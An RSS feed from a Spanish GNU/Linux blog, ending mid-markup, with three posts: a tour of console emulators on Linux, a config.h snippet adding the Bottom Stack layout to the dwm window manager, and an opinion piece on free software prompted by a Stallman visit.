<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; GNU/Linux</title>
	<atom:link href="http://blog.zerial.org/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 20 Jul 2010 18:13:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Emulación de consolas en GNU/Linux: NeoGeo, MAME, SNES y PSX</title>
		<link>http://blog.zerial.org/linux/emulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx/</link>
		<comments>http://blog.zerial.org/linux/emulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 01:55:11 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[emuladores]]></category>
		<category><![CDATA[gngeo]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[juegos]]></category>
		<category><![CDATA[mame]]></category>
		<category><![CDATA[neogeo]]></category>
		<category><![CDATA[play]]></category>
		<category><![CDATA[playstation]]></category>
		<category><![CDATA[ps1]]></category>
		<category><![CDATA[psx]]></category>
		<category><![CDATA[qmc2]]></category>
		<category><![CDATA[snes]]></category>
		<category><![CDATA[super nintendo]]></category>
		<category><![CDATA[xgngeo]]></category>
		<category><![CDATA[zsnes]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1387</guid>
		<description><![CDATA[No soy muy amante de los juegos pero debo reconocer que hay algunos que si me gustan, especialmente los de consola como NeoGeo, Súper Nintendo y Play 1. En busca de entretención y de distracción, el otro día me compré un joystick que me costó CLP$1.600 (unos USD$3) Y luego me puse a probar distintos [...]]]></description>
			<content:encoded><![CDATA[<p>No soy muy amante de los juegos pero debo reconocer que hay algunos que si me gustan, especialmente los de consola como <a href="http://es.wikipedia.org/wiki/Neogeo" target="_blank">NeoGeo</a>, <a href="http://es.wikipedia.org/wiki/Snes" target="_blank">Súper Nintendo</a> y <a href="http://es.wikipedia.org/wiki/PSX" target="_blank">Play 1</a>. En busca de entretención y de distracción, el otro día me compré un <em>joystick</em> que me costó CLP$1.600 (unos USD$3)</p>
<p><img class="aligncenter size-full wp-image-1390" title="joystick" src="http://blog.zerial.org/wp-content/uploads/2010/01/joystick1.png" alt="" width="400" height="303" /></p>
<p>Y luego me puse a probar distintos emuladores y juegos de consolas: NeoGeo, MAME, SNES, N64, PSX, etc.</p>
<p>Para emular juegos de <strong>NeoGeo</strong> tenemos el <em>gngeo</em> y el <em>mame-sdl</em>, para <strong>snes</strong> el famoso <em>zsnes</em>, para <strong>n64</strong> <em>mupen64</em> y para <strong>psx</strong> el <em>epsxe</em>.<br />
A continuación, una pequeña muestra de cada emulador corriendo algún juego en especial.</p>
<p><span id="more-1387"></span></p>
<p><strong>Primero </strong>les voy a mostrar gngeo con su frontend XGngeo</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/xgngeo.png"><img class="aligncenter size-full wp-image-1393" title="xgngeo" src="http://blog.zerial.org/wp-content/uploads/2010/01/xgngeo.png" alt="" width="376" height="245" /></a></p>
<p>Para descargarlo pueden encontarlo en su sitio oficial <a href="http://gngeo.berlios.de/" target="_blank">http://gngeo.berlios.de/</a> o bien buscarlo en los repositorios de la distribución que estén usando. Pueden descargar el frontend XGnGeo desde aquí: <a href="http://www.choplair.org/?XGngeo" target="_blank">http://www.choplair.org/?XGngeo</a></p>
<p>Con el emulador de MAME puedes jugar tambien los juegos de neogeo. Para emular mame tienes el emulador por línea de comando &#8220;<strong>mame-sdl</strong>&#8221; y el frontend llamado <strong>qmc2</strong>.</p>
<p><center><a href="http://blog.zerial.org/wp-content/uploads/2010/01/qmc2.png"><img class="alignnone size-medium wp-image-1408" title="qmc2" src="http://blog.zerial.org/wp-content/uploads/2010/01/qmc2-300x197.png" alt="" width="300" height="197" /></a> <a href="http://blog.zerial.org/wp-content/uploads/2010/01/qmc21.png"><img class="alignnone size-medium wp-image-1409" title="qmc2" src="http://blog.zerial.org/wp-content/uploads/2010/01/qmc21-300x197.png" alt="" width="300" height="197" /></a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/xgngeo_kof.png"><img class="size-medium wp-image-1395 alignnone" title="xgngeo_kof" src="http://blog.zerial.org/wp-content/uploads/2010/01/xgngeo_kof-300x187.png" alt="" width="300" height="187" /></a> <a href="http://blog.zerial.org/wp-content/uploads/2010/01/xgngeo_kof2.png"><img class="size-medium wp-image-1396 alignnone" title="xgngeo_kof2" src="http://blog.zerial.org/wp-content/uploads/2010/01/xgngeo_kof2-300x187.png" alt="" width="300" height="187" /></a></center></p>
<p><strong>Para emular</strong> súper nintendo, uso el conocido zsnes (muuuuy antiguo), que está en la mayoría de los repositorios de las distribuciónes GNU/Linux y también lo podemos encontrar en <a href="http://www.zsnes.com/" target="_blank">zsnes.com</a>.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes.png"><img class="aligncenter size-full wp-image-1399" title="zsnes" src="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes.png" alt="" width="512" height="448" /></a></p>
<p>Yo recuerdo haber usado este mismo emulador hace muchos años atrás, era uno de mis preferidos, con zsnes pasé varias horas frente al pc jugando. El emulador permite configurar hasta 5 players y además, permite jugar en línea.</p>
<p><center><a href="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes_dkc1.png"><img class="alignnone size-medium wp-image-1400" title="zsnes_dkc1" src="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes_dkc1-300x187.png" alt="" width="300" height="187" /></a> <a href="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes_dkc2.png"><img class="alignnone size-medium wp-image-1401" title="zsnes_dkc2" src="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes_dkc2-300x187.png" alt="" width="300" height="187" /></a></center></p>
<p><center><a href="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes_killer1.png"><img class="alignnone size-medium wp-image-1402" title="zsnes_killer1" src="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes_killer1-300x187.png" alt="" width="300" height="187" /></a> <a href="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes_killer2.png"><img class="alignnone size-medium wp-image-1403" title="zsnes_killer2" src="http://blog.zerial.org/wp-content/uploads/2010/01/zsnes_killer2-300x187.png" alt="" width="300" height="187" /></a></center></p>
<p><strong>Para</strong> PlayStation 1 (PSOne, PSX) uso el <strong>epsxe</strong>. Este emulador es un poco complicado de instalar, necesita un plugin para cada cosa. Por ejemplo, un plugin de video y otro de sonido, aunque generalmente puedes encontrar el emulador con todos sus restos dentro del mismo repositorio. Por ejemplo, en Archlinux lo puedes descargar e instalar <a href="http://aur.archlinux.org/packages.php?O=0&amp;K=epsxe&amp;do_Search=Ir" target="_blank">directamente de AUR</a>. Luego debes <em>intrusear</em> un poco la configuración hasta llegar a la más óptima para tu hardware. En mi caso, me uso este emulador simplemente para jugar <a href="http://en.wikipedia.org/wiki/Silent_Hill_1" target="_blank">Silent Hill 1</a>.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/epsxe.png"><img class="aligncenter size-full wp-image-1405" title="epsxe" src="http://blog.zerial.org/wp-content/uploads/2010/01/epsxe.png" alt="" width="288" height="236" /></a></p>
<p><center><a href="http://blog.zerial.org/wp-content/uploads/2010/01/epsxe_silenthill1.png"><img class="alignnone size-medium wp-image-1406" title="epsxe_silenthill1" src="http://blog.zerial.org/wp-content/uploads/2010/01/epsxe_silenthill1-300x187.png" alt="" width="300" height="187" /></a> <a href="http://blog.zerial.org/wp-content/uploads/2010/01/epsxe_silenthill2.png"><img class="alignnone size-medium wp-image-1407" title="epsxe_silenthill2" src="http://blog.zerial.org/wp-content/uploads/2010/01/epsxe_silenthill2-300x187.png" alt="" width="300" height="187" /></a></center></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Femulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx%2F&amp;linkname=Emulaci%C3%B3n%20de%20consolas%20en%20GNU%2FLinux%3A%20NeoGeo%2C%20MAME%2C%20SNES%20y%20PSX" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Femulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx%2F&amp;linkname=Emulaci%C3%B3n%20de%20consolas%20en%20GNU%2FLinux%3A%20NeoGeo%2C%20MAME%2C%20SNES%20y%20PSX" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Femulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx%2F&amp;linkname=Emulaci%C3%B3n%20de%20consolas%20en%20GNU%2FLinux%3A%20NeoGeo%2C%20MAME%2C%20SNES%20y%20PSX" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Femulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx%2F&amp;linkname=Emulaci%C3%B3n%20de%20consolas%20en%20GNU%2FLinux%3A%20NeoGeo%2C%20MAME%2C%20SNES%20y%20PSX" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Femulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx%2F&amp;linkname=Emulaci%C3%B3n%20de%20consolas%20en%20GNU%2FLinux%3A%20NeoGeo%2C%20MAME%2C%20SNES%20y%20PSX" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Femulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx%2F&amp;linkname=Emulaci%C3%B3n%20de%20consolas%20en%20GNU%2FLinux%3A%20NeoGeo%2C%20MAME%2C%20SNES%20y%20PSX" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Femulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx%2F&amp;linkname=Emulaci%C3%B3n%20de%20consolas%20en%20GNU%2FLinux%3A%20NeoGeo%2C%20MAME%2C%20SNES%20y%20PSX" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Femulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx%2F&amp;linkname=Emulaci%C3%B3n%20de%20consolas%20en%20GNU%2FLinux%3A%20NeoGeo%2C%20MAME%2C%20SNES%20y%20PSX">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/emulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Bottom Stack en Dynamic Window Manager (DWM)</title>
		<link>http://blog.zerial.org/linux/bottom-stack-en-dynamic-window-manager-dwm/</link>
		<comments>http://blog.zerial.org/linux/bottom-stack-en-dynamic-window-manager-dwm/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 00:10:49 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[dwm]]></category>
		<category><![CDATA[dynamic window manager]]></category>
		<category><![CDATA[gnu/linux]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1358</guid>
		<description><![CDATA[Hace meses que me decidí por usar DWM y de a poco voy teniendo distintas necesidades, por lo que he ido configurando poco a poco el gestor. Ultimamente, me dieron ganas de querer ordenar las ventanas de forma horizontal y revisando el sitio de DWM he encontrado el llamado &#8220;Bottom Stack&#8221;, que me ayudará a [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1359" style="margin: 4px;" title="dwm" src="http://blog.zerial.org/wp-content/uploads/2010/01/dwm.png" alt="" width="96" height="40" />Hace meses que me decidí por usar DWM y de a poco voy teniendo distintas necesidades, por lo que he ido configurando poco a poco el gestor. Ultimamente, me dieron ganas de querer ordenar las ventanas de forma horizontal y revisando el sitio de DWM he encontrado el llamado &#8220;Bottom Stack&#8221;, que me ayudará a cumplir mi propósito.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_ad.png"><img class="aligncenter size-full wp-image-1361" title="dwm_ad" src="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_ad.png" alt="" width="519" height="158" /></a></p>
<p>Para lograrlo, simplemente tenemos que agregar un par de líneas al <em>config.h</em> y volver a compilarlo.</p>
<p><span id="more-1358"></span></p>
<p>Debemos descargar los ficheros <a href="http://dwm.suckless.org/patches/bstack.c">bstack.c</a> y <a href="http://dwm.suckless.org/patches/bstackhoriz.c">bstackhoriz.c</a> y agregar las siguientes líneas a nuestro fichero de configuración <em>config.h</em>, despues de la definición de la variable <strong>mfact</strong> y antes de la definición de <strong>layouts</strong>:</p>
<pre name="code" class="c">
#include "bstack.c"
#include "bstackhoriz.c"
</pre>
<p>Y dentro de la definición de <strong>layouts</strong> debemos agregar:</p>
<pre name="code" class="c">
{ "TTT",      bstack },
{ "===",      bstackhoriz },
</pre>
<p>El fichero <em>config.h</em> se debería ver mas o menos así:</p>
<pre name="code" class="c">
[...]

/* layout(s) */
static const float mfact      = 0.55; /* factor of master area size [0.05..0.95] */
static const Bool resizehints = True; /* False means respect size hints in tiled resizals */

#include "bstack.c"
#include "bstackhoriz.c"

static const Layout layouts[] = {
        /* symbol     arrange function */
        { "TTT",      bstack },
        { "[]=",      tile },    /* first entry is default */
        { "><>",      NULL },    /* no layout function means floating behavior */
        { "[M]",      monocle },
        { "===",      bstackhoriz },
};

/* key definitions */
#define MODKEY Mod1Mask
#define TAGKEYS(KEY,TAG) \

[...]
</pre>
<p><strong>Imágenes:</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_showTILE.png"><img src="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_showTILE-300x187.png" alt="" title="dwm_showTILE" width="300" height="187" class="aligncenter size-medium wp-image-1366" /></a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_showTTT.png"><img src="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_showTTT-300x187.png" alt="" title="dwm_showTTT" width="300" height="187" class="aligncenter size-medium wp-image-1367" /></a></p>
<p>Pueden encontrar el artículo original en el siguiente link:<br />
<a target="_blank" href="http://dwm.suckless.org/patches/bottom_stack">http://dwm.suckless.org/patches/bottom_stack</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/bottom-stack-en-dynamic-window-manager-dwm/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>El que usa software privativo no está respetando su libertad</title>
		<link>http://blog.zerial.org/software-libre/el-que-usa-software-privativo-no-esta-respetando-su-libertad/</link>
		<comments>http://blog.zerial.org/software-libre/el-que-usa-software-privativo-no-esta-respetando-su-libertad/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 22:39:12 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Software Libre]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[libertades]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[richard stallman]]></category>
		<category><![CDATA[rms]]></category>
		<category><![CDATA[sl]]></category>
		<category><![CDATA[stallman]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1219</guid>
		<description><![CDATA[Siempre ha sido un tema de discusión el tema de la propiedad intelectual, derechos de autor, etc, pero esta véz quiero referirme a algo más allá de eso: el Software Libre. No hay que confundir el concepto de Software Libre con Open Source, el primero corresponde a toda una filosofía relacionada a las libertades de [...]]]></description>
			<content:encoded><![CDATA[<p>Siempre ha sido un tema de discusión el tema de la propiedad intelectual, derechos de autor, etc, pero esta véz quiero referirme a algo más allá de eso: el <strong>Software Libre</strong>.<br />
<img class="alignleft size-full wp-image-1221" style="margin: 4px;" title="gnu" src="http://blog.zerial.org/wp-content/uploads/2009/12/gnu.jpg" alt="gnu" width="150" height="139" />No hay que confundir el concepto de <em>Software Libre</em> con <em>Open Source</em>, el primero corresponde a toda una filosofía relacionada a las libertades de las personas y lo segundo, simplemente, a código abierto. Una aplicación puede ser <em>open source</em> sin ser libre. La gran diferencia entre uno y el otro es el tema de las licencias. Para que el software sea libre es necesario que se permita compartir, modificar y adaptar el código.</p>
<p>Usar software libre es bueno porque permite, entre otras cosas, manejar y controlar algo que es tuyo: tu computador y es por éste motivo que nace el dilema entre el hardware y los famosos drivers propietarios/privativos v/s los libres. Para muchas personas el hecho de no poder aprovechar los recursos de su hardware gracias a los drivers libres significa un problema y entonces es cuando deciden usar el driver propietario o privado. El otro día, pensaba que la única forma de promover y mejorar el desarrollo de drivers (o firmwares) libres desde las propios fabricantes es usar los drivres libres ya existentes. Estamos en un proceso de educación y difusión del software libres y de nuestras libertades, si queremos lograr que éste proceso avance debemos sacrificarnos un poco. Imaginemos un mundo ideal, donde todas las personas usan drivers libres y los fabricantes no encuentran qué hacer para que los usuarios compren sus productos, como no se puede exprimir al máximo los recursos del hardware, el usuario no va a <em>necesitar</em> continuar comprando y por ende, los fabricantes se verían obligados a desarrollar ellos mismos un driver que sea libre y que cumpla con todo lo necesario para poder funcionar correctamente. Obviamente, es una utopía.</p>
<p><span id="more-1219"></span></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2009/12/IMG_0331.jpg"><img class="alignleft size-medium wp-image-1246" style="margin: 4px;" title="IMG_0331" src="http://blog.zerial.org/wp-content/uploads/2009/12/IMG_0331-300x200.jpg" alt="" width="300" height="218" /></a> Hace un par de días tuvimos a Richard M. Stallman de visita en <a href="http://kernelhouse.org">Kernelhouse</a> y en el <a href="http://hacklab.cl" target="_blank">Hacklab</a> y me quedó dando vueltas una frase que nos dijo: &#8220;<strong>Las personas que usan software privado no están respetando su libertad</strong>&#8220;.</p>
<p>Si bien las personas son libres de usar software privado o libre, creo que la diferencia está simplemente en cuando te <strong>obligan</strong> a usar uno u el otro. Cuando una persona <strong>decide</strong> usar software libre, entonces está haciendo uso de su libertad de hacerlo. El problema, para mi, es cuando no tienes opción o bien, te obligan. Generalmente estás obligado a usar software privado, compras un iPod y viene con software privado y hasta es ilegal &#8220;<em>desbloquearlo</em>&#8221; siendo que es <strong>tuyo</strong>.  Cuando compras un portatil o un computador de escritorio, éste viene con M$ Windows, de una u otra forma te están obligando a usarlo. En el precio se incluye el precio de la licencia y para evitar pagarla, hay que hacer miles de trámites que aveces no valen la pena. Pasa hasta en el gobierno, existen muchos planes para disminuir la brecha digital, <em>tecnologizar</em> a personas de escasos recursos, pero detrás de éstos métodos, siempre está Microsoft por detrás. Microsoft siempre ofrece ofertas que, debido a la ignorancia de quienes toman las decisiones, es imposible rechazar. Por ejemplo, para el colegio de escasos recursos donde existen 40 mil nños que jamás han tocado un cumputador, ésta monopólica empresa, decide &#8220;donar&#8221; 1000 computadores con licencias para usar Windows &#8220;especialmente&#8221; adaptada para esta ocasión, por ejemplo la típica &#8220;<a href="http://www.microsoft.com/latam/windowsxp/starter/informacion.aspx" target="_blank">Starter Edition</a>&#8220;. Con este tipo de metodologías, lo único que estamos logrando es crear una <strong>dependencia a un producto de una empresa privada</strong>. Para exáctamente lo mismo cuando el gobierno decide &#8220;auspiciar&#8221; y &#8220;becar&#8221; a sientos de personas de tercera edad o personas analfabetas tecnologicamente a cursar un taller o curso de &#8220;Microsoft Office&#8221;, hacen que éstas personas dependan de un producto de Microsoft, por ésto mismo, lo que se debería promover son cursos de &#8220;ofimática&#8221; que servirían para que un usuario sepa usar <strong>cualquier</strong> suite de herramientas de oficina, ya sea de MS Office, Open Office, Koffice, etc. Para que la educación de resultado, hay que enseñar a la persona a elegir, hay que demostrarle que tiene libertades que él mismo puede aprovechar. Windows no llegó a ser tan popular porque era un buen producto o porque era la única opción existente en el mercado, simplemente porque la ignorancia de las personas, gracias a la manipulación de las grandes empresas y el gobierno, hizo que así fuera.</p>
<p><img title="nano_zerial_rms_leo" src="http://blog.zerial.org/wp-content/uploads/2009/12/nano_zerial_rms_leo1.jpg" alt="" width="670" height="324" /></p>
<p>Un proceso de educación tiene un bien final cuando el usuario logra, por si mismo, <strong>decidir</strong> qué sistema operativo usar (MS Windows, GNU/Linux, Mac, etc) y por ejemplo, en el caso que use GNU/Linux, que su conocimiento le permita decidir que distribución usar. El motivo de mi odio a Windows es similar al por qué odio a Ubuntu, sus políticas de marketing y sus filosofías no me gustan, Ubuntu de una u otra forma está haciendo lo mismo que Microsoft, no se hizo popular por su funcionalidad sino que por el dinero. Actualmente, me atrevería a decir que el 90% de los usuarios de Ubuntu  no tienen idea que existen más distribuciones, frente a (según yo) un 70% de usuarios Windows que si sabe que existen varias distribuciones de GNU/Linux.<br />
En conclusión, estoy completamente de acuerdo en que cuando una persona usa software privado, no está respetando su libertad, ya que se está sometiendo, voluntaria o involuntariamente, a usar el producto (software o hardware) como el fabricante lo dice, aún pagando por él.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fsoftware-libre%2Fel-que-usa-software-privativo-no-esta-respetando-su-libertad%2F&amp;linkname=El%20que%20usa%20software%20privativo%20no%20est%C3%A1%20respetando%20su%20libertad" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fsoftware-libre%2Fel-que-usa-software-privativo-no-esta-respetando-su-libertad%2F&amp;linkname=El%20que%20usa%20software%20privativo%20no%20est%C3%A1%20respetando%20su%20libertad" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fsoftware-libre%2Fel-que-usa-software-privativo-no-esta-respetando-su-libertad%2F&amp;linkname=El%20que%20usa%20software%20privativo%20no%20est%C3%A1%20respetando%20su%20libertad" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fsoftware-libre%2Fel-que-usa-software-privativo-no-esta-respetando-su-libertad%2F&amp;linkname=El%20que%20usa%20software%20privativo%20no%20est%C3%A1%20respetando%20su%20libertad" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fsoftware-libre%2Fel-que-usa-software-privativo-no-esta-respetando-su-libertad%2F&amp;linkname=El%20que%20usa%20software%20privativo%20no%20est%C3%A1%20respetando%20su%20libertad" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fsoftware-libre%2Fel-que-usa-software-privativo-no-esta-respetando-su-libertad%2F&amp;linkname=El%20que%20usa%20software%20privativo%20no%20est%C3%A1%20respetando%20su%20libertad" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fsoftware-libre%2Fel-que-usa-software-privativo-no-esta-respetando-su-libertad%2F&amp;linkname=El%20que%20usa%20software%20privativo%20no%20est%C3%A1%20respetando%20su%20libertad" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" 